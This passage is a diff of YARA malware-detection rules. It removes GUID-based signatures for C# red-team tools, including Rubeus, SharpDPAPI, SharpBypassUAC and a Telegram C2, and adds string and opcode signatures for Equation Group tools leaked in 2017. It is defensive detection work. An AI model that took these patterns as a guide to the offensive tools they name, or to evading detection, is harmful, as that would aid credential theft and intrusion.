+		author = "Florian Roth (Nextron Systems)"
+		id = "3c06fc74-2e75-5348-bb62-30c724de1414"
+		date = "2017-04-15"
+		modified = "2023-12-05"
+		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp_apr17.yar#L2995-L3009"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "e087534589228ac1af8b8b8d2ebbc1bc99fc25b38cb4c4d840cab8e90e75644a"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "16f66c2593665c2507a78f96c0c2a9583eab0bda13a639e28f550c92f9134ff0"
 
 	strings:
-		$typelibguid0lo = "4854c8dc-82b0-4162-86e0-a5bbcbc10240" ascii wide
-		$typelibguid0up = "4854C8DC-82B0-4162-86E0-A5BBCBC10240" ascii wide
+		$s1 = "USAGE: %s <input file> <output file> <port1> [port2] [port3] [port4] [port5] [port6]" fullword ascii
+		$s2 = "You may enter between 1 and 6 ports to change the defaults." fullword ascii
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		( uint16(0)==0x5a4d and filesize <100KB and 1 of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_NET_GUID_Sharpdpapi : FILE
+rule SIGNATURE_BASE_Equationgroup_Toolset_Apr17_Diba_Target_BH_2000 : FILE
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "1394323f-b336-548f-925c-c276d439e9eb"
-		date = "2020-12-13"
-		modified = "2023-04-06"
-		reference = "https://github.com/GhostPack/SharpDPAPI"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L1358-L1374"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "5846d932bb8064a82e57f942d0c7a8feec4c8582bb2eac64be7cc662d60e6d6e"
+		description = "Detects EquationGroup Tool - April Leak"
+		author = "Florian Roth (Nextron Systems)"
+		id = "b02fa407-e6f1-5c2d-a587-7edb55dbe0a5"
+		date = "2017-04-15"
+		modified = "2023-12-05"
+		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp_apr17.yar#L3011-L3025"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "0cd3ba351b1c5716ed322c9f177a848322324526f3d39c2be5cc34bc6aee9fa6"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "0654b4b8727488769390cd091029f08245d690dd90d1120e8feec336d1f9e788"
 
 	strings:
-		$typelibguid0lo = "5f026c27-f8e6-4052-b231-8451c6a73838" ascii wide
-		$typelibguid0up = "5F026C27-F8E6-4052-B231-8451C6A73838" ascii wide
-		$typelibguid1lo = "2f00a05b-263d-4fcc-846b-da82bd684603" ascii wide
-		$typelibguid1up = "2F00A05B-263D-4FCC-846B-DA82BD684603" ascii wide
+		$s2 = "0M1U1Z1p1" fullword ascii
+		$s14 = "SPRQWV" fullword ascii
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		( uint16(0)==0x5a4d and filesize <2000KB and all of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_NET_GUID_Telegra_Csharp_C2 : FILE
+rule SIGNATURE_BASE_Equationgroup_Toolset_Apr17_Rc5 : FILE
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "495a5f3e-cf05-5a66-b01c-8176ded88768"
-		date = "2020-12-13"
-		modified = "2023-04-06"
-		reference = "https://github.com/sf197/Telegra_Csharp_C2"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L1376-L1390"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "b931009110366712cc9d69a7cb7feaa7a02f7baa93bc3c3fbb76c4132554b10e"
+		description = "Detects EquationGroup Tool - April Leak"
+		author = "Florian Roth (Nextron Systems)"
+		id = "854c1726-4ba4-5464-a765-4dd154a1b166"
+		date = "2017-04-15"
+		modified = "2023-12-05"
+		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp_apr17.yar#L3027-L3043"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "6d9ba73fe2a6da99ba44b00bcb5ecf51e983ac245fd5c6e620d35e8120514464"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "69e2c68c6ea7be338497863c0c5ab5c77d5f522f0a84ab20fe9c75c7f81318eb"
 
 	strings:
-		$typelibguid0lo = "1d79fabc-2ba2-4604-a4b6-045027340c85" ascii wide
-		$typelibguid0up = "1D79FABC-2BA2-4604-A4B6-045027340C85" ascii wide
+		$s1 = "Usage: %s [d|e] session_key ciphertext" fullword ascii
+		$s2 = "where session_key and ciphertext are strings of hex" fullword ascii
+		$s3 = "d = decrypt mode, e = encrypt mode" fullword ascii
+		$s4 = "Bad mode, should be 'd' or 'e'" fullword ascii
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		( uint16(0)==0x5a4d and filesize <200KB and 2 of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_NET_GUID_Sharpcompile : FILE
+rule SIGNATURE_BASE_Equationgroup_Toolset_Apr17_PC_Level_Generic : FILE
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "c5e053c4-1c90-581a-a6c3-087b252254b2"
-		date = "2020-12-13"
-		modified = "2023-04-06"
-		reference = "https://github.com/SpiderLabs/SharpCompile"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L1392-L1406"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "60ecb9a9fa90e096d6b5d830787989046f5f8441282f4d7a072c6d7435add42d"
+		description = "Detects EquationGroup Tool - April Leak"
+		author = "Florian Roth (Nextron Systems)"
+		id = "7ff3d0b0-7a70-561e-9c45-d1f9dbccefe9"
+		date = "2017-04-15"
+		modified = "2023-12-05"
+		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp_apr17.yar#L3045-L3075"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "ddb3441b62b477ab7e3406a22e2a246b60c1d1d25e4acf52ee452a2dfac2daf7"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "7a6488dd13936e505ec738dcc84b9fec57a5e46aab8aff59b8cfad8f599ea86a"
+		hash2 = "0e3cfd48732d0b301925ea3ec6186b62724ec755ed40ed79e7cd6d3df511b8a0"
+		hash3 = "d1d6e3903b6b92cc52031c963e2031b5956cadc29cc8b3f2c8f38be20f98a4a7"
+		hash4 = "25a2549031cb97b8a3b569b1263c903c6c0247f7fff866e7ec63f0add1b4921c"
+		hash5 = "591abd3d7ee214df25ac25682b673f02219da108d1384261052b5167a36a7645"
+		hash6 = "6b71db2d2721ac210977a4c6c8cf7f75a8f5b80b9dbcece1bede1aec179ed213"
+		hash7 = "7be4c05cecb920f1010fc13086635591ad0d5b3a3a1f2f4b4a9be466a1bd2b76"
+		hash8 = "f9cbccdbdf9ffd2ebf1ee84d0ddddd24a61dbe0858ab7f0131bef6c7b9a19131"
+		hash9 = "3cf7a01bdf8e73769c80b75ca269b506c33464d81f574ded8bb20caec2d4cd13"
+		hash10 = "a87a871fe32c49862ed68fda99d92efd762a33ababcd9b6b2b909f2e01f59c16"
 
 	strings:
-		$typelibguid0lo = "63f81b73-ff18-4a36-b095-fdcb4776da4c" ascii wide
-		$typelibguid0up = "63F81B73-FF18-4A36-B095-FDCB4776DA4C" ascii wide
+		$s1 = "wshtcpip.WSHGetSocketInformation" fullword ascii
+		$s2 = "\\\\.\\%hs" fullword ascii
+		$s3 = ".?AVResultIp@Mini_Mcl_Cmd_NetConnections@@" fullword ascii
+		$s4 = "Corporation. All rights reserved." fullword wide
+		$s5 = { 49 83 3c 24 00 75 02 eb 5d 49 8b 34 24 0f b7 46 }
+		$op1 = { 44 24 57 6f c6 44 24 58 6e c6 44 24 59 }
+		$op2 = { c6 44 24 56 64 88 5c 24 57 }
+		$op3 = { 44 24 6d 4c c6 44 24 6e 6f c6 44 24 6f }
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		uint16(0)==0x5a4d and filesize <400KB and (2 of ($s*) or all of ($op*))
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_NET_GUID_Carbuncle : FILE
+rule SIGNATURE_BASE_Equationgroup_Toolset_Apr17_PC_Level3_Http_Exe : FILE
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "4a87882e-570b-5b40-a8e3-47ebac01d257"
-		date = "2020-12-13"
-		modified = "2023-04-06"
-		reference = "https://github.com/checkymander/Carbuncle"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L1408-L1422"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "3a5bd58ac42ed3a428d6f20f1956b5abe5dfd958e9768fb0e3916ee2672d9c55"
+		description = "Detects EquationGroup Tool - April Leak"
+		author = "Florian Roth (Nextron Systems)"
+		id = "9bb4224e-f900-5f5c-8091-088a4b791ada"
+		date = "2017-04-15"
+		modified = "2023-12-05"
+		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp_apr17.yar#L3077-L3094"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "50d83b157c338830eea6aba2e09e9d513dd5b50e257d1a16c0d51616bfa26a7f"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "3e855fbea28e012cd19b31f9d76a73a2df0eb03ba1cb5d22aafe9865150b020c"
 
 	strings:
-		$typelibguid0lo = "3f239b73-88ae-413b-b8c8-c01a35a0d92e" ascii wide
-		$typelibguid0up = "3F239B73-88AE-413B-B8C8-C01A35A0D92E" ascii wide
+		$s1 = "Copyright (C) Microsoft" fullword wide
+		$op1 = { 24 39 65 c6 44 24 3a 6c c6 44 24 3b 65 c6 44 24 }
+		$op2 = { 44 24 4e 41 88 5c 24 4f ff }
+		$op3 = { 44 24 3f 6e c6 44 24 40 45 c6 44 24 41 }
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		( uint16(0)==0x5a4d and filesize <400KB and all of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_NET_GUID_Ossfiletool : FILE
+rule SIGNATURE_BASE_Equationgroup_Toolset_Apr17_Parsecapture : FILE
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "fa9aeae1-2aa5-51af-81e2-22a1b6fcda81"
-		date = "2020-12-13"
-		modified = "2023-04-06"
-		reference = "https://github.com/B1eed/OSSFileTool"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L1424-L1438"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "2158671f0372080a7f78a7c6804d8be6715953545e23733ef1db091b2d849f2f"
+		description = "Detects EquationGroup Tool - April Leak"
+		author = "Florian Roth (Nextron Systems)"
+		id = "11743260-c5ce-59de-9fcf-0c050eee98ff"
+		date = "2017-04-15"
+		modified = "2023-12-05"
+		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp_apr17.yar#L3096-L3111"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "8946bc6d1812a998757a4032755f37aa2be6121a958ebfb6fec90fa60da038fb"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "c732d790088a4db148d3291a92de5a449e409704b12e00c7508d75ccd90a03f2"
 
 	strings:
-		$typelibguid0lo = "207aca5d-dcd6-41fb-8465-58b39efcde8b" ascii wide
-		$typelibguid0up = "207ACA5D-DCD6-41FB-8465-58B39EFCDE8B" ascii wide
+		$x1 = "* Encrypted log found.  An encryption key must be provided" fullword ascii
+		$x2 = "encryptionkey = e.g., \"00 11 22 33 44 55 66 77 88 99 aa bb cc dd ee ff\"" fullword ascii
+		$x3 = "Decrypting with key '%02x %02x %02x %02x %02x %02x %02x %02x %02x %02x %02x %02x %02x %02x %02x %02x'" fullword ascii
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		( uint16(0)==0x5a4d and filesize <50KB and 1 of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_NET_GUID_Rubeus : FILE
+rule SIGNATURE_BASE_Equationgroup_Toolset_Apr17_Activedirectory_Target : FILE
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "54638fe4-84b5-51a8-8c88-9c50ab09ff49"
-		date = "2020-12-13"
-		modified = "2023-04-06"
-		reference = "https://github.com/GhostPack/Rubeus"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L1440-L1454"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "b6c346bb0f6db20bd573c9a17d2b8110e6abd4fe3c51d7c717feefa2c517319b"
+		description = "Detects EquationGroup Tool - April Leak"
+		author = "Florian Roth (Nextron Systems)"
+		id = "1069cabe-7c09-522f-ad3f-05651490b921"
+		date = "2017-04-15"
+		modified = "2023-12-05"
+		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp_apr17.yar#L3113-L3127"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "0dee634fe81870b21531046be512e9e54b127207c1910ca5ce5dfab63b1d0603"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "33c1b7fdee7c70604be1e7baa9eea231164e62d5d5090ce7f807f43229fe5c36"
 
 	strings:
-		$typelibguid0lo = "658c8b7f-3664-4a95-9572-a3e5871dfc06" ascii wide
-		$typelibguid0up = "658C8B7F-3664-4A95-9572-A3E5871DFC06" ascii wide
+		$s1 = "(&(objectCategory=person)(objectClass=user)(cn=" fullword wide
+		$s2 = "(&(objectClass=user)(objectCategory=person)" fullword wide
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		( uint16(0)==0x5a4d and filesize <200KB and all of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_NET_GUID_Simple_Loader : FILE
+rule SIGNATURE_BASE_Equationgroup_Toolset_Apr17_PC_Legacy_Dll : HIGHVOL FILE
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "4c26aaf9-187d-5990-b956-1bbf630411f0"
-		date = "2020-12-13"
-		modified = "2023-04-06"
-		reference = "https://github.com/cribdragg3r/Simple-Loader"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L1456-L1470"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "c94da47cdcf94f71d0909f1532108442e324e79e249646e5619865bdbd2d3c14"
+		description = "Detects EquationGroup Tool - April Leak"
+		author = "Florian Roth (Nextron Systems)"
+		id = "254ff1f7-52ee-57fa-be02-2904e132e25c"
+		date = "2017-04-15"
+		modified = "2023-12-05"
+		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp_apr17.yar#L3129-L3144"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "923a595737bc83fe05d0ca7301c70e1cb03cecf97dfa99f5967b77b892a9a533"
 		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = "HIGHVOL, FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "0cbc5cc2e24f25cb645fb57d6088bcfb893f9eb9f27f8851503a1b33378ff22d"
 
 	strings:
-		$typelibguid0lo = "035ae711-c0e9-41da-a9a2-6523865e8694" ascii wide
-		$typelibguid0up = "035AE711-C0E9-41DA-A9A2-6523865E8694" ascii wide
+		$op1 = { 45 f4 65 c6 45 f5 6c c6 45 f6 33 c6 45 f7 32 c6 }
+		$op2 = { 49 c6 45 e1 73 c6 45 e2 57 c6 45 e3 }
+		$op3 = { 34 c6 45 e7 50 c6 45 e8 72 c6 45 e9 6f c6 45 ea }
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		( uint16(0)==0x5a4d and filesize <200KB and all of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_NET_GUID_Minidump : FILE
+rule SIGNATURE_BASE_Equationgroup_Toolset_Apr17_Svctouch : FILE
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "51f64c64-f3fa-5543-83fc-5f0bf881ef03"
-		date = "2020-12-13"
-		modified = "2023-04-06"
-		reference = "https://github.com/3xpl01tc0d3r/Minidump"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L1472-L1486"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "80142c0e96bca63f2b9991b3d6e2dfa7261bdde3a748fde96113d6f422b21e34"
+		description = "Detects EquationGroup Tool - April Leak"
+		author = "Florian Roth (Nextron Systems)"
+		id = "a1246afa-32ba-5730-91a2-b1116160d662"
+		date = "2017-04-15"
+		modified = "2023-12-05"
+		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp_apr17.yar#L3146-L3159"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "0e876611ffe4740141a0454f68cfc7dd3c46e0fd44deeb9f3e0f66c8fccd3745"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "96b6a3c4f53f9e7047aa99fd949154745e05dc2fd2eb21ef6f0f9b95234d516b"
 
 	strings:
-		$typelibguid0lo = "15c241aa-e73c-4b38-9489-9a344ac268a3" ascii wide
-		$typelibguid0up = "15C241AA-E73C-4B38-9489-9A344AC268A3" ascii wide
+		$s1 = "Causes: Firewall,Machine down,DCOM disabled\\not supported,etc." fullword ascii
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		( uint16(0)==0x5a4d and filesize <10KB and 1 of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_NET_GUID_Sharpbypassuac : FILE
+rule SIGNATURE_BASE_Equationgroup_Toolset_Apr17_Pwd_Implant : FILE
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "474d40aa-4bcc-58b5-a129-40bbd3a89e99"
-		date = "2020-12-13"
-		modified = "2023-04-06"
-		reference = "https://github.com/FatRodzianko/SharpBypassUAC"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L1488-L1502"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "726b573fa957a2560d6f4e5e98497190ed8f8e1657427f14896e3aa439366c70"
+		description = "Detects EquationGroup Tool - April Leak"
+		author = "Florian Roth (Nextron Systems)"
+		id = "69d071f0-7214-5972-805a-3c0c1d2346c2"
+		date = "2017-04-15"
+		modified = "2023-12-05"
+		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp_apr17.yar#L3161-L3176"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "f565c42781ff4b0b37e7c00673fb2da2877018317cd415bdb47d4e019485c727"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "ee72ac76d82dfec51c8fbcfb5fc99a0a45849a4565177e01d8d23a358e52c542"
 
 	strings:
-		$typelibguid0lo = "0d588c86-c680-4b0d-9aed-418f1bb94255" ascii wide
-		$typelibguid0up = "0D588C86-C680-4B0D-9AED-418F1BB94255" ascii wide
+		$s1 = "7\"7(7/7>7O7]7o7w7" fullword ascii
+		$op1 = { 40 50 89 44 24 18 FF 15 34 20 00 }
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		( uint16(0)==0x5a4d and filesize <20KB and 1 of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_NET_GUID_Sharppack : FILE
+rule SIGNATURE_BASE_Equationgroup_Toolset_Apr17_Kisucomms_Target_2000 : FILE
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "633d074a-b8c2-5148-ad80-6226b99be818"
-		date = "2020-12-13"
-		modified = "2023-04-06"
-		reference = "https://github.com/Lexus89/SharpPack"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L1504-L1532"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "b3f86041560b8358c5408d73d8eb847d600e66ca2c9900f53d193902e4ae8eee"
+		description = "Detects EquationGroup Tool - April Leak"
+		author = "Florian Roth (Nextron Systems)"
+		id = "693a82e5-a3f1-5a56-b33d-0daef36bbe5f"
+		date = "2017-04-15"
+		modified = "2023-12-05"
+		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp_apr17.yar#L3178-L3198"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "7d350228ad779d0453c1077afb2b533036eb1e43e4f74a433d68c781db963ab1"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "94eea1bad534a1dc20620919de8046c9966be3dd353a50f25b719c3662f22135"
 
 	strings:
-		$typelibguid1lo = "b59c7741-d522-4a41-bf4d-9badddebb84a" ascii wide
-		$typelibguid1up = "B59C7741-D522-4A41-BF4D-9BADDDEBB84A" ascii wide
-		$typelibguid2lo = "fd6bdf7a-fef4-4b28-9027-5bf750f08048" ascii wide
-		$typelibguid2up = "FD6BDF7A-FEF4-4B28-9027-5BF750F08048" ascii wide
-		$typelibguid3lo = "6dd22880-dac5-4b4d-9c91-8c35cc7b8180" ascii wide
-		$typelibguid3up = "6DD22880-DAC5-4B4D-9C91-8C35CC7B8180" ascii wide
-		$typelibguid5lo = "f3037587-1a3b-41f1-aa71-b026efdb2a82" ascii wide
-		$typelibguid5up = "F3037587-1A3B-41F1-AA71-B026EFDB2A82" ascii wide
-		$typelibguid6lo = "41a90a6a-f9ed-4a2f-8448-d544ec1fd753" ascii wide
-		$typelibguid6up = "41A90A6A-F9ED-4A2F-8448-D544EC1FD753" ascii wide
-		$typelibguid7lo = "3787435b-8352-4bd8-a1c6-e5a1b73921f4" ascii wide
-		$typelibguid7up = "3787435B-8352-4BD8-A1C6-E5A1B73921F4" ascii wide
-		$typelibguid8lo = "fdd654f5-5c54-4d93-bf8e-faf11b00e3e9" ascii wide
-		$typelibguid8up = "FDD654F5-5C54-4D93-BF8E-FAF11B00E3E9" ascii wide
-		$typelibguid9lo = "aec32155-d589-4150-8fe7-2900df4554c8" ascii wide
-		$typelibguid9up = "AEC32155-D589-4150-8FE7-2900DF4554C8" ascii wide
+		$s1 = "363<3S3c3l3q3v3{3" fullword ascii
+		$s2 = "3!3%3)3-3135393@5" fullword ascii
+		$op0 = { eb 03 89 46 54 47 83 ff 1a 0f 8c 40 ff ff ff 8b }
+		$op1 = { 8b 46 04 85 c0 74 0f 50 e8 34 fb ff ff 83 66 04 }
+		$op2 = { c6 45 fc 02 8d 8d 44 ff ff ff e8 d2 2f 00 00 eb }
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		( uint16(0)==0x5a4d and filesize <200KB and ( all of ($s*) or all of ($op*)))
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_NET_GUID_Salsa_Tools : FILE
+rule SIGNATURE_BASE_Equationgroup_Toolset_Apr17_Sldecoder : FILE
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "50db578e-6ddb-54d1-a978-e3630a3548c3"
-		date = "2020-12-13"
-		modified = "2023-04-06"
-		reference = "https://github.com/Hackplayers/Salsa-tools"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L1534-L1550"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "4c02f8fb1f1dbad19360c28d0728ccb5a73db5d34127bd345fe5c4baeb87fc7c"
+		description = "Detects EquationGroup Tool - April Leak"
+		author = "Florian Roth (Nextron Systems)"
+		id = "1760e84b-fc40-5d60-9351-3a3134af9e9f"
+		date = "2017-04-15"
+		modified = "2023-12-05"
+		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
